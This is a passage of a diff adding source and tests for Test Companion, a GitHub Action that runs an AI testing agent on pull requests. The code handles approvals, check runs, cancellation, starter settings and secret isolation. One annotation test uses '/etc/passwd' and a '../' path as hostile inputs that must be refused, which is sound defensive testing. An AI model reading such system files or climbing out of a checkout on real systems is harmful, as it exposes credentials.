is what this run would do. Nothing has been written._" + : "_This run did not produce a plan — there is nothing here to approve. The run log will say why; re-run once that is fixed._" + parts.push(body || noPlan) + return parts.join("\n") +} + +/** + * A proposal on this pull request that a newer commit has left behind — FR-44. + * + * FR-44 keys a proposal to a commit, so a new commit silently replaces it. + * That is the right safety behaviour: a plan written against code that has + * since changed must never be carried out. But silence is the wrong way to + * say it. + * + * Observed live on 2026-10-29: someone replied "go" after the branch moved and + * was told "No @test-companion mention, so nothing was asked of Test + * Companion." They had given a valid approval word, and the actual reason was + * sitting in the comment history. + * + * Only our own comments count, so a person quoting the marker cannot + * manufacture one. + */ +export function findSupersededProposal(comments, sha) { + const current = String(sha ?? "").trim() + // Same pattern, sha as a group. Shared so the two cannot drift again. + const marker = markerPattern("([0-9a-f]+)") + const stale = (comments ?? []).filter((c) => { + if (c?.user?.type !== "Bot") return false + const found = marker.exec(c.body ?? "") + return Boolean(found) && found[1] !== current + }) + if (stale.length === 0) return undefined + // Newest wins: with several old plans, the one they most plausibly meant is + // the last one we put up. + const newest = stale.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)) + const found = marker.exec(newest.body ?? "") + return { sha: found?.[1], requester: found?.[2], id: newest.id } +} + +/** + * Create the "Test Companion" check, or update the one this run already made — + * FR-48, "one check, never neutral". + * + * Every call used to POST. A single run posts up to three times — in progress + * before the work, the result after it, and the catch-all on a crash — so a + * pull request collected two or three checks of the same name, and a proposal + * left ITS in-progress one pending forever because nothing ever completed it. + * That is the "blocked by a check that never arrives" failure the design is + * meant to avoid. Reported in review of PR #3101. + * + * Keyed by commit: a run can legitimately check two (the head early on, and + * whatever the report names later), and those are different checks, not an + * update of one another. + */ +export function checkRequestFor(sha, made) { + const existing = made?.get?.(sha) + return existing ? { method: "PATCH", path: `check-runs/${existing}` } : { method: "POST", path: "check-runs" } +} + +/** + * The check a PREVIOUS run left in progress on this commit, if there is one. + * + * checkRequestFor only knows what THIS process created. The nightly sweep runs + * in a different process with an empty memo, so it posted a fresh "Action + * required" check and left the proposal run's in-progress one pending for the + * life of the branch — the exact "blocked by a check that never arrives" + * failure the sweep exists to prevent. + * + * Only ours, and only one still running: a completed check is already + * answered, and another tool's check is none of our business. + */ +export function inFlightCheckId(checks, checkName = "Test Companion") { + const ours = (checks ?? []).filter((c) => c?.name === checkName && c?.status !== "completed") + if (ours.length === 0) return undefined + // Newest, so a stale one from an older run cannot win. + return ours.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)).id +} diff --git a/test-companion/src/runs.mjs b/test-companion/src/runs.mjs new file mode 100644 index 0000000..a61462d --- /dev/null +++ b/test-companion/src/runs.mjs @@ -0,0 +1,108 @@ +/** + * Which runs a "stop" should end — STM-5434 FR-35. + * + * Pure, and separated from the `gh` calls in main.mjs for the usual reason: the + * only other way to exercise it is to start a run, comment on it and watch, and + * the interesting cases here are the ones that are awkward to stage on purpose. + * + * Two of those cases are worth stating out loud, because both are silent when + * they go wrong: + * + * - The run handling the "stop" comment is ITSELF an in-flight run on that + * commit. Cancel it and the job doing the cancelling disappears mid-reply, + * so the person who asked is told nothing at all. + * - "Stop" means stop Test Companion, not stop the repository's own build. A + * comment must never become a way to cancel someone else's CI. + */ + +/** A run GitHub has not finished with yet. */ +const IN_FLIGHT = new Set(["queued", "in_progress", "waiting", "requested", "pending"]) + +/** + * The ids to cancel. + * + * `selfRunId` is GITHUB_RUN_ID, which arrives as a string while the API returns + * a number — compared as strings so the two always meet. + * + * `workflowName` is optional: without it we cannot tell our runs from the + * repository's, so the commit match is all that narrows the list. Pass it + * whenever it is known. + */ +export function chooseRunsToCancel(runs, { selfRunId, headSha, workflowName } = {}) { + return (runs ?? []) + .filter((r) => r && IN_FLIGHT.has(r.status)) + .filter((r) => String(r.id) !== String(selfRunId)) + .filter((r) => !headSha || r.head_sha === headSha) + .filter((r) => !workflowName || r.name === workflowName) + .map((r) => r.id) +} + +/** + * Our in-flight run ids, from the check runs on a commit — FR-35. + * + * Replaces asking GitHub for `actions/runs?head_sha=`. + * That query cannot work for this feature: a run started by an ISSUE_COMMENT + * carries the DEFAULT BRANCH's sha, because that is what GitHub checks out for + * that event. So it matched nothing, every time — `stop` answered "nothing is + * running" with a run plainly in flight, and closing a pull request did not + * stop its run either. + * + * A run's own `pull_requests` field looks like the answer and is not: on an + * issue_comment run it reports the pull request whose HEAD is the checked-out + * branch, which is a different pull request. Observed live: a run for #22 + * reporting number 18. + * + * The check run is the handle that actually holds. It is posted on the pull + * request's own head commit, it carries the run id in `external_id`, and + * nothing else writes a check by this name. + * + * `selfRunId` is GITHUB_RUN_ID, a string here and a number from the API, so + * both sides are compared as strings. + */ +export function runIdsFromChecks(checks, { selfRunId, checkName = "Test Companion" } = {}) { + const ids = new Set() + for (const c of checks ?? []) { + if (!c || c.name !== checkName) continue + if (!IN_FLIGHT.has(c.status)) continue + const id = String(c.external_id ?? "").trim() + // No id means we cannot say WHICH run this check belongs to, and + // cancelling a guess is worse than cancelling nothing. + if (!id) continue + if (id === String(selfRunId)) continue + ids.add(id) + } + return [...ids] +} + +/** Conclusions a person reads as "this build is red". */ +const RED = new Set(["failure", "cancelled", "timed_out", "startup_failure"]) + +/** + * The build a comment means by "the failure" — the newest red run on this + * commit, or nothing. + * + * `rca`, `fix` and `verdict` all need to know WHICH build failed. On a + * build_failed trigger GitHub hands us the run and plan-run.mjs passes + * `run.html_url` straight through; from a COMMENT nobody hands us one, so all + * three failed on the first comment with "Could not run" — while CAPABILITIES + * advertises them by name and renderUnknownRequest offers them as suggestions. + * + * Returns the run's own URL, which is the shape `--build` and `--run` accept + * (`https://github.com///actions/runs/`). + * + * Two runs are never the answer. Ours, because explaining our own failure is a + * mirror rather than an answer; and the one asking, which has not finished. + */ +export function latestFailedRun(runs, { selfRunId, selfWorkflowName } = {}) { + const red = (runs ?? []).filter( + (r) => + r && + r.status === "completed" && + RED.has(r.conclusion) && + r.html_url && + String(r.id) !== String(selfRunId) && + (!selfWorkflowName || r.name !== selfWorkflowName), + ) + if (red.length === 0) return undefined + return red.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)).html_url +} diff --git a/test-companion/src/starter.mjs b/test-companion/src/starter.mjs new file mode 100644 index 0000000..1d79659 --- /dev/null +++ b/test-companion/src/starter.mjs @@ -0,0 +1,148 @@ +/** + * The first run, when nothing is configured yet — STM-3663 FR-13. + * + * Without this, installing the Action into a repository with no + * testcompanion-pipeline.yml produces a red build and the line + * `open testcompanion-pipeline.yml: no such file or directory`. That is the + * worst possible first impression: the person did nothing wrong, the build + * broke, and the message names a file they have never heard of. + * + * FR-13 asks for the opposite — a clean pass, and the file they need, ready to + * copy. Handled here rather than in the CLI because changing `tc workflow run` + * to succeed on a missing config would quietly swallow a real misconfiguration + * for every pipeline already relying on that error. + */ + +/** The pipeline file we hand someone who has none. */ +export const STARTER_PIPELINE = `# Test Companion — what runs, and when. +# +# Every entry below is a JOB BINDING: a workflow, the event that starts it, and +# the limits it runs under. Delete what you do not want; nothing fires unless it +# is listed here. +# +# Everything starts in preview, which means Test Companion reports what it WOULD +# have done and writes nothing. Change a job to \`mode: live\` once you have seen +# a preview run you are happy with. + +version: 1 + +workflows: + # Generate test cases for the change in a pull request. + - name: cases-for-this-pr + workflow: generate + on: pr_opened + mode: preview + limits: + time: 20m + credits: 300 + + # Explain a red build. Runs only when a build actually failed. + - name: explain-the-failure + workflow: rca + on: build_failed + mode: preview + limits: + time: 20m + credits: 300 + + # Ask for anything by commenting "@test-companion ..." on a pull request. + # + # Live AND gated, which is the safe pairing rather than a contradiction: a + # gated request first runs in preview to produce its proposal, and only a run + # someone approved with "go" is allowed to write anything. + - name: on-request + workflow: test-pr + on: pr_comment + mode: live + approval: review-before-run + limits: + time: 30m + credits: 500 +` + +/** + * The pull request that adds the starter settings file — FR-13. + * + * The detected framework is recorded when we can tell what it is, and left out + * when we cannot — a starter naming Cypress at a Playwright shop would claim an + * understanding we do not have. + */ +export function starterPipelineFor(framework) { + const name = String(framework ?? "").trim() + if (!name) return STARTER_PIPELINE + return STARTER_PIPELINE.replace("version: 1", `# Detected test framework: ${name}.\nversion: 1`) +} + +export function renderSetupPr(configPath, framework) { + const name = String(framework ?? "").trim() + return { + branch: "test-companion-setup", + title: "Add Test Companion settings", + body: [ + `This adds \`${configPath}\`, which is where you say what Test Companion should run and when.`, + ...(name ? ["", `Your suite looks like **${name}**, which is recorded in the file.`] : []), + "", + "Nothing runs until this merges — the settings are deliberately read from the default branch, so a pull request cannot change the rules for its own run.", + "", + "Everything except the comment binding starts in preview, which reports what it would have done and writes nothing. Change a job to `mode: live` once you have seen a preview you are happy with.", + ].join("\n"), + } +} + +/** + * Where the pipeline file lives. + * + * Mirrors effectiveConfigPath in cli/pkg/cli/commands/workflow.go exactly — + * flag, then TC_PIPELINE_CONFIG, then the repository root. Checking a different + * path than the CLI reads would be worse than not checking at all: the Action + * would announce "nothing is configured" to a repository that is configured. + */ +export function pipelineConfigPath(configInput, env = {}) { + const flag = (configInput ?? "").trim() + if (flag) return flag + const fromEnv = (env.TC_PIPELINE_CONFIG ?? "").trim() + if (fromEnv) return fromEnv + return "testcompanion-pipeline.yml" +} + +/** + * What the job page says when there is no pipeline file. Deliberately free of + * the words "error" and "failed": nothing went wrong, there is just nothing to + * run yet. + */ +export function renderNoPipelineReport(path) { + return [ + "## Test Companion", + "", + `Nothing to run yet — this repository has no \`${path}\`, so no jobs are set up.`, + "", + `Add the file below to the root of the repository and Test Companion will start on the next pull request. Everything in it runs in **preview**, which reports what it would have done and writes nothing.`, + "", + "```yaml", + STARTER_PIPELINE.trimEnd(), + "```", + "", + ].join("\n") +} + +/** + * Which branch the settings file is read from — STM-5434 FR-7. + * + * Read from the branch under test, a pull request can rewrite the rules for its + * own run and be obeyed: switch itself from preview to live, delete its own + * spending limit, or point its Test Management writes somewhere else. That is a + * safety problem rather than a product one, and it gets considerably easier to + * reach once a comment can start a run. + * + * FR-7: read from the default branch for every event, so an edit to the + * settings takes effect only after someone merges it. + * + * Note the deliberate consequence: a pull request that ADDS the settings file + * for the first time does not get picked up until it merges. That is the same + * rule, and the alternative is the hole above. + */ +export function settingsRef(payload = {}, env = {}) { + // Guessing "main" last is safe: the worst case is "no settings file", which + // is a clean skip (FR-13), not a run obeying rules the pull request wrote. + return payload?.repository?.default_branch || env.GITHUB_DEFAULT_BRANCH || "main" +} diff --git a/test-companion/src/ticket.mjs b/test-companion/src/ticket.mjs new file mode 100644 index 0000000..81cc5a5 --- /dev/null +++ b/test-companion/src/ticket.mjs @@ -0,0 +1,75 @@ +/** + * The ticket this change is for — STM-5434 FR-37. + * + * FR-37 wants the run to test against what the ticket actually asks for, not + * only what the diff does, so finding the key is the first step. People put it + * in the branch name far more often than anywhere else, but the title is where + * they correct it. + * + * Pure: three strings in, a key or nothing out. + */ + +/** + * A Jira-style key: a project of two or more letters, a hyphen, a number. + * + * The lookarounds matter, and each guards a different mistake: + * (?- + test-companion-${{ github.event.pull_request.number + || github.event.issue.number + || github.run_id }} + # Queue rather than cancel: a run already in flight has spent credits, and + # the newer one waits its turn instead of superseding it. + cancel-in-progress: false + +jobs: + test-companion: + runs-on: ubuntu-latest + timeout-minutes: 35 + # With the Test Companion GitHub App installed, this whole block can be + # deleted: the App's installation token carries these permissions + # itself. Pass app-id and app-private-key below instead. + permissions: + contents: write # branches and commits for fix / reconcile jobs + pull-requests: write # the one comment, and opening a pull request + checks: write # the "Test Companion" check + actions: write # reading the red run, and cancelling one on "stop" + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # jobs that look at what changed need history + + - uses: browserstack/github-actions/test-companion@v1 + with: + username: ${{ secrets.BROWSERSTACK_USERNAME }} + access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} + # PIN THE CLI once you know which version you want. Without + # a pin the CLI upgrades itself the first time it runs on a + # release day: your pipeline spends time on a download, and + # two runs a day apart are not the same software. + # + # Both lines or neither. A version with no checksum is + # REFUSED — "refusing an unverified pinned install" — and the + # job stops before it reports anything. Take both from the + # release you tested with. + # cli-version: "1.2.0" + # cli-sha256: "" + # With the App installed, uncomment these and delete the + # permissions block above. + # app-id: ${{ secrets.TEST_COMPANION_APP_ID }} + # app-private-key: ${{ secrets.TEST_COMPANION_APP_PRIVATE_KEY }} + # Manual runs only; event-driven runs read the pipeline file. + workflow: ${{ inputs.workflow }} + preview: ${{ inputs.preview }} diff --git a/test-companion/test/access.test.mjs b/test-companion/test/access.test.mjs new file mode 100644 index 0000000..813974e --- /dev/null +++ b/test-companion/test/access.test.mjs @@ -0,0 +1,80 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { mayAsk } from "../src/access.mjs" + +describe("mayAsk — FR-33", () => { + test("write access is enough when no team is named", () => { + assert.equal(mayAsk({ hasWriteAccess: true }), true) + }) + + test("without write access, nothing else matters", () => { + assert.equal(mayAsk({ hasWriteAccess: false }), false) + }) + + /** + * FR-33: the pipeline file "MAY narrow this to a named team and SHALL NOT + * widen it". Being on the team is never a way IN for someone who cannot + * write to the repository — a run executes an agent with --yolo against the + * customer's own machine and credentials. + */ + test("being on the team does not widen past write access", () => { + assert.equal(mayAsk({ hasWriteAccess: false, askTeam: "qa-leads", inTeam: true }), false) + }) + + test("with a team named, a member may ask", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: true }), true) + }) + + test("with a team named, a non-member may not", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: false }), false) + }) + + // Fails CLOSED, like hasWriteAccess itself: an unanswerable "are they on the + // team?" — no token for the org, API down, rate limited — is a no. + test("an unanswerable membership question is a no", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: undefined }), false) + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "qa-leads", inTeam: null }), false) + }) + + test("an empty team name is no narrowing at all", () => { + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: "", inTeam: false }), true) + assert.equal(mayAsk({ hasWriteAccess: true, askTeam: " ", inTeam: false }), true) + }) +}) + +import { describeTestRepoAccess } from "../src/access.mjs" + +describe("describeTestRepoAccess — FR-42", () => { + test("no separate repository means this one, which always works", () => { + assert.equal(describeTestRepoAccess({ thisRepo: "acme/shop" }).ok, true) + assert.equal(describeTestRepoAccess({ testsRepo: "acme/shop", thisRepo: "acme/shop" }).ok, true) + }) + + test("a separate repository we can push to is fine", () => { + assert.equal(describeTestRepoAccess({ testsRepo: "acme/shop-tests", thisRepo: "acme/shop", canPush: true }).ok, true) + }) + + /** + * FR-42: "without either, the run SHALL write nothing there and the summary + * SHALL say which is missing." Naming what is missing is the requirement — + * a bare "permission denied" halfway through a run leaves someone guessing + * between the App and a token. + */ + test("without access, it says so and names both ways to fix it", () => { + const d = describeTestRepoAccess({ testsRepo: "acme/shop-tests", thisRepo: "acme/shop", canPush: false }) + assert.equal(d.ok, false) + assert.match(d.message, /acme\/shop-tests/) + assert.match(d.message, /App/) + assert.match(d.message, /token/i) + }) + + // Fails closed: an unanswerable "can we push?" must not start a run that + // discovers the answer halfway through, after spending credits. + test("an unanswerable question is a no", () => { + assert.equal(describeTestRepoAccess({ testsRepo: "acme/shop-tests", thisRepo: "acme/shop" }).ok, false) + }) + + test("case differences are the same repository", () => { + assert.equal(describeTestRepoAccess({ testsRepo: "Acme/Shop", thisRepo: "acme/shop" }).ok, true) + }) +}) diff --git a/test-companion/test/action-yml.test.mjs b/test-companion/test/action-yml.test.mjs new file mode 100644 index 0000000..93496c4 --- /dev/null +++ b/test-companion/test/action-yml.test.mjs @@ -0,0 +1,56 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync } from "node:fs" +import { fileURLToPath } from "node:url" +import { dirname, join } from "node:path" + +const actionYml = readFileSync(join(dirname(fileURLToPath(import.meta.url)), "..", "action.yml"), "utf8") + +/** The composite steps, split on the step marker so each carries its own env. */ +const steps = actionYml.split(/\n {8}- name: /).slice(1) +const nameOf = (s) => s.split("\n")[0].trim() + +describe("action.yml — every step that runs tc must pin it (FR-2)", () => { + /** + * Found live on 2026-10-29, the day tc 1.1.9 shipped. + * + * The pin was set on the Run step only. But `Sign in` runs `tc auth login` + * FIRST, unpinned, so the CLI self-upgraded there — and the Run step then + * correctly reported a mismatch against the very binary the pin existed to + * preserve: + * + * tc is pinned to version 1.1.8 but the installed binary is 1.1.9 + * + * So asking for a pinned version MADE THE RUN FAIL, which is the exact + * opposite of what FR-2 promises. The spec lists FR-2 as "Done, but NEVER + * EXECUTED"; this is what was hiding in it. + * + * `tc --version` is exempt: upgrade.shouldSkip returns true for it, because + * swapping the binary before reporting its version would defeat the point + * of asking. + */ + // Directly (`tc auth login`) or indirectly — the Run step shells out to + // main.mjs, which spawns tc for the workflow run and for `workflow + // bindings`. Both need the pin; only one of them says "tc" in the YAML. + const runsTc = (body) => { + const withoutVersionChecks = body.replace(/^.*--version.*$/gm, "") + return /(^|[\s"'`/])tc\s/m.test(withoutVersionChecks) || /main\.mjs/.test(withoutVersionChecks) + } + + for (const step of steps) { + const name = nameOf(step) + if (!runsTc(step)) continue + test(`"${name}" sets TC_PIN_VERSION`, () => { + assert.match( + step, + /TC_PIN_VERSION:/, + `step "${name}" runs tc without the pin, so the CLI can self-upgrade before a later pinned step rejects it`, + ) + }) + } + + test("at least one step was actually checked, so this cannot pass vacuously", () => { + const checked = steps.filter(runsTc).map(nameOf) + assert.ok(checked.length >= 2, `expected at least the sign-in and run steps, checked: ${checked.join(", ")}`) + }) +}) diff --git a/test-companion/test/annotations.test.mjs b/test-companion/test/annotations.test.mjs new file mode 100644 index 0000000..e76e8bf --- /dev/null +++ b/test-companion/test/annotations.test.mjs @@ -0,0 +1,90 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { parseFailedTests, buildAnnotations, MAX_ANNOTATIONS } from "../src/annotations.mjs" + +const REPORT = [ + "workflow: test", + "failed_test: Checkout > pays\ttests/checkout.spec.ts:18", + "failed_test: Checkout > refunds\ttests/checkout.spec.ts", + "failed_test: should log in", + "outcome: failed", +].join("\n") + +describe("parseFailedTests — reading the report back", () => { + // parseSummary builds an object, so repeated keys collapse and only the + // last failing test would survive. These need their own reader. + test("keeps every failing test, not just the last one", () => { + assert.equal(parseFailedTests(REPORT).length, 3) + }) + + test("splits the name from the location on the tab", () => { + const [first] = parseFailedTests(REPORT) + assert.deepEqual(first, { name: "Checkout > pays", file: "tests/checkout.spec.ts", line: 18 }) + }) + + test("handles a file with no line", () => { + assert.deepEqual(parseFailedTests(REPORT)[1], { name: "Checkout > refunds", file: "tests/checkout.spec.ts" }) + }) + + test("handles a test with no location at all", () => { + assert.deepEqual(parseFailedTests(REPORT)[2], { name: "should log in" }) + }) + + test("returns nothing for a report with no failures, or no report", () => { + assert.deepEqual(parseFailedTests("outcome: succeeded"), []) + assert.deepEqual(parseFailedTests(undefined), []) + }) + + // A name is whatever the reporter printed. It must never be read as a + // location, which is why the writer separates them with a tab. + test("a colon in the test name is not a location", () => { + const [t] = parseFailedTests("failed_test: handles a:b\treal.spec.ts:4") + assert.deepEqual(t, { name: "handles a:b", file: "real.spec.ts", line: 4 }) + }) +}) + +describe("buildAnnotations — FR-28, FR-48", () => { + test("puts a failure on the line the test is declared on", () => { + const [a] = buildAnnotations([{ name: "Checkout > pays", file: "tests/checkout.spec.ts", line: 18 }]) + assert.equal(a.path, "tests/checkout.spec.ts") + assert.equal(a.start_line, 18) + assert.equal(a.end_line, 18) + assert.equal(a.annotation_level, "failure") + assert.match(a.message, /Checkout > pays/) + }) + + // GitHub rejects an annotation with no line. A file with no line is still + // worth pointing at, so it goes on line 1 — and the message says so, rather + // than silently implying the failure is on the first line. + test("falls back to the top of the file and says so", () => { + const [a] = buildAnnotations([{ name: "Checkout > refunds", file: "tests/checkout.spec.ts" }]) + assert.equal(a.start_line, 1) + assert.match(a.message, /line .*(not|unknown)|which line/i) + }) + + // Nowhere to point means no annotation. Inventing a path would put a + // failure on a file that has nothing to do with it. + test("skips a test with no file, rather than guessing one", () => { + assert.deepEqual(buildAnnotations([{ name: "should log in" }]), []) + }) + + // GitHub accepts at most 50 annotations per request. A suite with 300 + // failures must not silently lose the whole set to a rejected call. + test("never sends more than GitHub accepts", () => { + const many = Array.from({ length: 300 }, (_, i) => ({ name: `t${i}`, file: "a.spec.ts", line: i + 1 })) + assert.equal(buildAnnotations(many).length, MAX_ANNOTATIONS) + assert.ok(MAX_ANNOTATIONS <= 50) + }) + + test("nothing failed, nothing to annotate", () => { + assert.deepEqual(buildAnnotations([]), []) + assert.deepEqual(buildAnnotations(undefined), []) + }) + + // An absolute path, or one climbing out of the repository, annotates + // nothing on GitHub and may point at a file outside the checkout. + test("refuses a path that is not inside the repository", () => { + assert.deepEqual(buildAnnotations([{ name: "t", file: "/etc/passwd", line: 1 }]), []) + assert.deepEqual(buildAnnotations([{ name: "t", file: "../outside.spec.ts", line: 1 }]), []) + }) +}) diff --git a/test-companion/test/app-auth.test.mjs b/test-companion/test/app-auth.test.mjs new file mode 100644 index 0000000..1007d01 --- /dev/null +++ b/test-companion/test/app-auth.test.mjs @@ -0,0 +1,104 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { generateKeyPairSync, createVerify } from "node:crypto" +import { appCredentials, jwtClaims, signJwt, installationTokenRequest } from "../src/app-auth.mjs" + +const { privateKey, publicKey } = generateKeyPairSync("rsa", { modulusLength: 2048 }) +const pem = privateKey.export({ type: "pkcs1", format: "pem" }) + +describe("appCredentials — Release 4", () => { + test("both halves are needed", () => { + assert.equal(appCredentials({ TC_ACTION_APP_ID: "1", TC_ACTION_APP_PRIVATE_KEY: "k" })?.appId, "1") + assert.equal(appCredentials({ TC_ACTION_APP_ID: "1" }), undefined) + assert.equal(appCredentials({ TC_ACTION_APP_PRIVATE_KEY: "k" }), undefined) + assert.equal(appCredentials({}), undefined) + }) + + // A secret pasted into the settings UI picks up whitespace remarkably often. + test("whitespace around them is not a credential", () => { + assert.equal(appCredentials({ TC_ACTION_APP_ID: " ", TC_ACTION_APP_PRIVATE_KEY: "k" }), undefined) + }) +}) + +describe("jwtClaims — Release 4", () => { + const now = 1_800_000_000 + + test("issued by the app", () => { + assert.equal(jwtClaims("12345", now).iss, "12345") + }) + + /** + * GitHub rejects a JWT whose iat is in the future, and runner clocks drift. + * Backdating by a minute is the documented workaround; without it a run + * fails with "issued at is in the future" on an otherwise correct setup. + */ + test("issued a minute ago, to survive clock drift", () => { + assert.equal(jwtClaims("1", now).iat, now - 60) + }) + + // GitHub refuses anything over ten minutes outright. + test("expires inside GitHub's ten-minute ceiling", () => { + const { iat, exp } = jwtClaims("1", now) + assert.ok(exp - iat <= 600, `lifetime ${exp - iat}s must be at most 600`) + assert.ok(exp > now, "must not already be expired") + }) +}) + +describe("signJwt — Release 4", () => { + test("three base64url parts", () => { + const parts = signJwt({ appId: "1", privateKey: pem, now: 1_800_000_000 }).split(".") + assert.equal(parts.length, 3) + for (const p of parts) assert.doesNotMatch(p, /[+/=]/, "must be base64url, not base64") + }) + + test("the payload is the claims", () => { + const jwt = signJwt({ appId: "42", privateKey: pem, now: 1_800_000_000 }) + const payload = JSON.parse(Buffer.from(jwt.split(".")[1], "base64url").toString()) + assert.equal(payload.iss, "42") + }) + + test("it really is signed by that key", () => { + const jwt = signJwt({ appId: "1", privateKey: pem, now: 1_800_000_000 }) + const [h, p, sig] = jwt.split(".") + const ok = createVerify("RSA-SHA256").update(`${h}.${p}`).verify(publicKey, Buffer.from(sig, "base64url")) + assert.equal(ok, true) + }) + + test("the header says RS256, which is the only algorithm GitHub accepts", () => { + const jwt = signJwt({ appId: "1", privateKey: pem, now: 1_800_000_000 }) + const header = JSON.parse(Buffer.from(jwt.split(".")[0], "base64url").toString()) + assert.equal(header.alg, "RS256") + }) +}) + +describe("installationTokenRequest — FR-4", () => { + /** + * FR-4: the Action uses the App's identity "FOR THAT REPO ONLY". An + * installation token minted with no body carries every permission the + * installation holds, across every repository it covers — so a run in one + * repository would hold write access to all of an organisation's. + */ + test("scoped to this repository alone", () => { + assert.deepEqual(installationTokenRequest("acme/shop").repositories, ["shop"]) + }) + + test("the owner is not part of the repository name", () => { + // The API wants bare names; "acme/shop" is rejected as not found, which + // would silently fall back to the workflow token. + assert.deepEqual(installationTokenRequest("acme/deep-name").repositories, ["deep-name"]) + }) + + test("only the permissions the Action actually uses", () => { + const { permissions } = installationTokenRequest("acme/shop") + assert.deepEqual(Object.keys(permissions).sort(), ["actions", "checks", "contents", "pull_requests"]) + for (const v of Object.values(permissions)) assert.equal(v, "write") + }) + + test("a malformed repository asks for nothing rather than everything", () => { + // Falling back to an unscoped request would be the worst reading of a + // value we could not parse. + assert.equal(installationTokenRequest("not-a-repo"), undefined) + assert.equal(installationTokenRequest(""), undefined) + assert.equal(installationTokenRequest(undefined), undefined) + }) +}) diff --git a/test-companion/test/child-env.test.mjs b/test-companion/test/child-env.test.mjs new file mode 100644 index 0000000..f88dc28 --- /dev/null +++ b/test-companion/test/child-env.test.mjs @@ -0,0 +1,46 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { childEnvFor } from "../src/child-env.mjs" + +describe("childEnvFor — what the agent's shell can see", () => { + test("the CLI's own configuration and credentials get through", () => { + const out = childEnvFor({ TC_PIPELINE_CONFIG: "p.yml", BROWSERSTACK_USERNAME: "u", PATH: "/bin" }) + assert.equal(out.TC_PIPELINE_CONFIG, "p.yml") + assert.equal(out.BROWSERSTACK_USERNAME, "u") + assert.equal(out.PATH, "/bin") + }) + + test("the GitHub token never does", () => { + const out = childEnvFor({ GH_TOKEN: "ghs_x", GITHUB_TOKEN: "ghs_y" }) + assert.equal(out.GH_TOKEN, undefined) + assert.equal(out.GITHUB_TOKEN, undefined) + }) + + /** + * The one the allowlist would have let through. TC_ is a kept PREFIX, so + * the App's private key — TC_ACTION_APP_PRIVATE_KEY — matched it and would + * have been handed to a shell running commands the model chose. + * + * That key can mint installation tokens for every repository the App is on, + * which is a far worse thing to leak than the workflow token the allowlist + * was written to keep out. + */ + test("the App's private key never does either, despite its TC_ prefix", () => { + const out = childEnvFor({ + TC_ACTION_APP_PRIVATE_KEY: "-----BEGIN RSA PRIVATE KEY-----", + TC_ACTION_APP_ID: "12345", + TC_PIPELINE_CONFIG: "p.yml", + }) + assert.equal(out.TC_ACTION_APP_PRIVATE_KEY, undefined) + assert.equal(out.TC_ACTION_APP_ID, undefined) + assert.equal(out.TC_PIPELINE_CONFIG, "p.yml", "ordinary TC_ settings must still get through") + }) + + test("an unrecognised variable is not passed on", () => { + assert.equal(childEnvFor({ AWS_SECRET_ACCESS_KEY: "x" }).AWS_SECRET_ACCESS_KEY, undefined) + }) + + test("an unset variable is dropped rather than passed as undefined", () => { + assert.equal("PATH" in childEnvFor({ PATH: undefined }), false) + }) +}) diff --git a/test-companion/test/framework.test.mjs b/test-companion/test/framework.test.mjs new file mode 100644 index 0000000..1ab87ed --- /dev/null +++ b/test-companion/test/framework.test.mjs @@ -0,0 +1,40 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { detectFramework } from "../src/framework.mjs" + +describe("detectFramework — FR-13", () => { + test("a config file names the framework", () => { + assert.equal(detectFramework({ filenames: ["playwright.config.ts", "src/app.ts"] }), "Playwright") + assert.equal(detectFramework({ filenames: ["cypress.config.js"] }), "Cypress") + assert.equal(detectFramework({ filenames: ["wdio.conf.js"] }), "WebdriverIO") + }) + + test("a dependency names it too", () => { + assert.equal(detectFramework({ deps: { "@playwright/test": "^1.0.0" } }), "Playwright") + assert.equal(detectFramework({ deps: { cypress: "^13" } }), "Cypress") + assert.equal(detectFramework({ deps: { "@wdio/cli": "^8" } }), "WebdriverIO") + assert.equal(detectFramework({ deps: { "selenium-webdriver": "^4" } }), "Selenium") + }) + + test("a config file beats a dependency, because it is what actually runs", () => { + const found = detectFramework({ + filenames: ["cypress.config.js"], + deps: { "@playwright/test": "^1.0.0" }, + }) + assert.equal(found, "Cypress") + }) + + /** + * Guessing wrong is worse than not guessing: the starter file would tell the + * team Test Companion had understood their setup when it had not. + */ + test("nothing recognisable is undefined, not a guess", () => { + assert.equal(detectFramework({ filenames: ["README.md"], deps: { react: "^18" } }), undefined) + assert.equal(detectFramework({}), undefined) + assert.equal(detectFramework(), undefined) + }) + + test("a nested config file still counts", () => { + assert.equal(detectFramework({ filenames: ["e2e/playwright.config.js"] }), "Playwright") + }) +}) diff --git a/test-companion/test/gate.test.mjs b/test-companion/test/gate.test.mjs new file mode 100644 index 0000000..e6bec53 --- /dev/null +++ b/test-companion/test/gate.test.mjs @@ -0,0 +1,143 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { decideGate, GATE, describeChangeSize } from "../src/gate.mjs" +import { INTENT } from "../src/intent.mjs" + +const asking = { kind: INTENT.WORKFLOW, workflow: "test", preview: false } +const go = { kind: INTENT.GO } +const fresh = { id: 7, expired: false } +const stale = { id: 7, expired: true } + +describe("decideGate — FR-43", () => { + test("straight-through just runs", () => { + assert.equal(decideGate({ intent: asking, approval: "straight-through" }).action, GATE.RUN) + }) + + /** + * FR-43: "the run SHALL post its proposal and end. Nothing SHALL be written + * before 'go'." The proposal run is a PREVIEW run — preview is already + * enforced in tool dispatch as of Release 1, so "nothing is written" is a + * property of the run rather than a promise in a prompt. + */ + test("review-before-run proposes instead of running", () => { + assert.equal(decideGate({ intent: asking, approval: "review-before-run" }).action, GATE.PROPOSE) + }) + + test("a proposal run is always a preview run", () => { + assert.equal(decideGate({ intent: asking, approval: "review-before-run" }).preview, true) + }) + + 